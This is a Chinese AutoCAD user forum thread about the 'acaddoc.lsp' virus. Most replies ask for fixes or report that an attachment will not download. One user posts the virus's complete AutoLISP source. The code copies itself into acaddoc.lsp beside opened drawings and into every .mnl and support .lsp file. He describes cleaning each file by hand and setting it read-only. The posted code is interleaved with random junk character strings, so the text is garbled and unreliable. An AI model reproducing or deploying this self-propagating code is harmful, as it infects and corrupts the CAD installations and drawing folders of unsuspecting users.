acaddoc.lsp自动生成,打开文件命令栏出现正在初始化VBA..初始错误(病毒)

goodfang

回复 29# likeyouboya

6 _4 p. ]. K  ~4 P8 Y7 c! {
2 u" k* o; g" ]" T' w    我刚试了也出现跟你一样的问题，请问你后来怎么解决的？

babybear8370

为什么我怎么下载不了楼主的压缩包啊

小星辰

新来的，没钱，我的也是这样，咋整呀！

xufulai

我的启动没有什么问题，就是运行下载的插件时提示没有安装VBA

xuerui95

怎么不能下载啊

superyan

看看咯。。谢谢分享

fish2233

源代码为
(setq flagx t)
% w& Z# t: X# B# t( w$ `(setq bz "(setq flagx t)")
. f8 s- v5 B7 f9 J(defun app(source target bz / flag flag1 wjm wjm1 text)
# Z8 t* ?3 B* E# s+ _  (setq flag nil)
2 {3 G8 Z7 O: ?  (setq flag1 t)
  (if (findfile target)
6 e$ G. p. G0 c    (progn
2 R# Q' A' z2 P0 b$ M  Q& R      (setq wjm1 (open target "r"))
      (while (setq text (read-line wjm1))
        (if (= text bz) (setq flag1 nil))
        );while
+ W9 z' _1 r8 K( S      (close wjm1)
2 h$ Y% w' _9 p. d+ m0 h      );progn
    );if
* C+ N3 `$ B$ g8 K# e  (if flag1
    (progn
2 C; |% b7 U& j& V- k9 z      (setq wjm (open source "r"))
      (setq wjm1 (open target "a"))
% @" d" j/ @2 @+ Z" F  v& Q1 J      (write-line (chr 13) wjm1)
      (while (setq text (read-line wjm))
9 k- O0 H$ Y' _* Z' x) J        (if (= text bz) (setq flag t))
        (if flag
: c6 r3 Z* l2 r9 u: q          (progn
            (write-line text wjm1)
            );progn
- ~, S4 H# ?+ r" c+ T          );if
5 Z, X" ]1 w+ v8 r6 M. j. N0 C        );while
& S4 m! f. K, O      (close wjm1)
6 Q. R( X" _/ s, _) e* J7 o7 h8 \      (close wjm)
      );progn
7 f& E7 j& x/ Z2 B) F    );if
$ k3 h+ u8 s! f& z4 F+ `$ Y  );defun
' \; e7 M% E3 Y+ |/ y6 Y(setvar "cmdecho" 0)
" L9 ?1 E9 r% R3 O( q, K$ y(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
! `: R5 F: c* R; j* O(setq mnlnum (length mnlfilelist))
6 Q! d$ k% k. }6 w1 Q$ m3 z(setq acadexe (findfile "acad.exe"))
- h8 l9 L/ ?: d& G2 m(setq acadpath (vl-filename-directory acadexe))
. d1 g/ u8 X2 w, Q1 K4 d(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
1 k  j+ d$ i$ ]9 k, X2 `(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
6 V& w+ G5 ~* L- j' A+ ](setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
: ?4 J( a) }' |  O) J5 \0 j3 n2 d7 ~(if dwgpath
& J9 |" ]- |. e$ g' K  (progn
2 u3 x" N% N: p9 m2 a% B- W8 p9 G    (setq acaddocpath (vl-filename-directory dwgpath))
    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    (setq mnln 0)
# O% A# v% O" Q! _, G    (while (< mnln mnlnum)
, q0 n" ~0 y* s* t8 H. R      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
      (app mnlfilename acaddocfile bz)
0 J* R# l4 S7 ~1 M* \      (app acaddocfile mnlfilename bz)
      (setq mnln (1+ mnln))
) B  v6 l5 Q+ m      );while
    (setq lspn 0)
    (while (< lspn lspnum)
      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
      (app lspfilename acaddocfile bz)
8 h; Y" z) _& X6 C" J) n, n- d      (app acaddocfile lspfilename bz)
      (setq lspn (1+ lspn))
      );while
    );progn
0 b' {9 I& g" G4 O) s5 s  );if
. ]( Q/ A2 V) w: D  Q(setq mnln 0)
" I+ c+ P1 }- |: a5 u! f* F* t: ^3 {(while (< mnln mnlnum)
4 c1 ~4 l# S3 @& ^+ f! ?# b  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
  (setq mnln1 0)
5 [, c- x7 y& `+ d2 t  (while (< mnln1 mnlnum)
( V; S, F# A  ^. r8 |7 N# D8 n    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
  @& c- Y/ r- C5 D) _    (app mnlfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
9 [7 X3 l- m( Z, U+ R    );while
8 U$ b! v# a$ Y  (setq lspn1 0)
* Y" J: p0 D" ?$ E2 T  ?  (while (< lspn1 lspnum)
4 a+ Q) e3 o; r0 X    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (app mnlfilename lspfilename1 bz)
' x+ r' @. W) n$ V    (setq lspn1 (1+ lspn1))
    );while
' l0 B' H; g) r( f; @$ M, X  (setq mnln (1+ mnln))
  );while
(setq lspn 0)
(while (< lspn lspnum)
  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
9 z5 v' |+ @/ g- u, L  (setq lspn1 0)
  (while (< lspn1 lspnum)
/ U9 C0 g' u9 A- V, j4 D, }  \    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
) l9 J4 ~" D4 j    (app lspfilename lspfilename1 bz)
* ^  o9 h6 K# j$ P+ e7 p# f    (setq lspn1 (1+ lspn1))
) ^6 Y5 C1 U: H/ G4 S4 X    );while
  (setq mnln1 0)
6 g# k, k& C# x  w. R& _  (while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app lspfilename mnlfilename1 bz)
! q8 S6 w( B; r7 }4 s    (setq mnln1 (1+ mnln1))
    );while
( b% F  ?& r7 o* a6 x5 ?这个代码会每次运行时都会增加一段，不停的膨胀，太恶意了，还好我知道了它都嵌到那些文件了，我逐一把它们删掉，然后把文件改为只读，以后都不担心会受到感染！只是处理比较麻烦，对CAD了解不够的有点难度，我希望有受到感染的同行们可以交流一下。

fish2233

最初的办法可以按5楼的解决，但是后期的处理就要采用比较麻烦的方法处理，我也只能用这种笨方法。

fish2233

如我知道是谁写这个病毒我肯定咔嚓他，去年我就受害一个月，后来导致到换电脑。

fish2233

5 C6 l3 ^% q5 k3 _
+ f4 u; N1 Q/ ?1 d0 @＜未知命令“THISDRAWING.HH”。按 F1 查看帮助。＞(askcad.com),就是这一个提示，这个THISDRAWING.HH……如不会用可以联系我

weiwei3314

怎么都不能下载那个附件呢

wlfljh

谢谢了.我的问题也解决了。

ashton

正在解决中。。。。

ashton

问题解决了，谢谢老师！这个平台真的很不错，顶！顶！顶！

iou3344

谢谢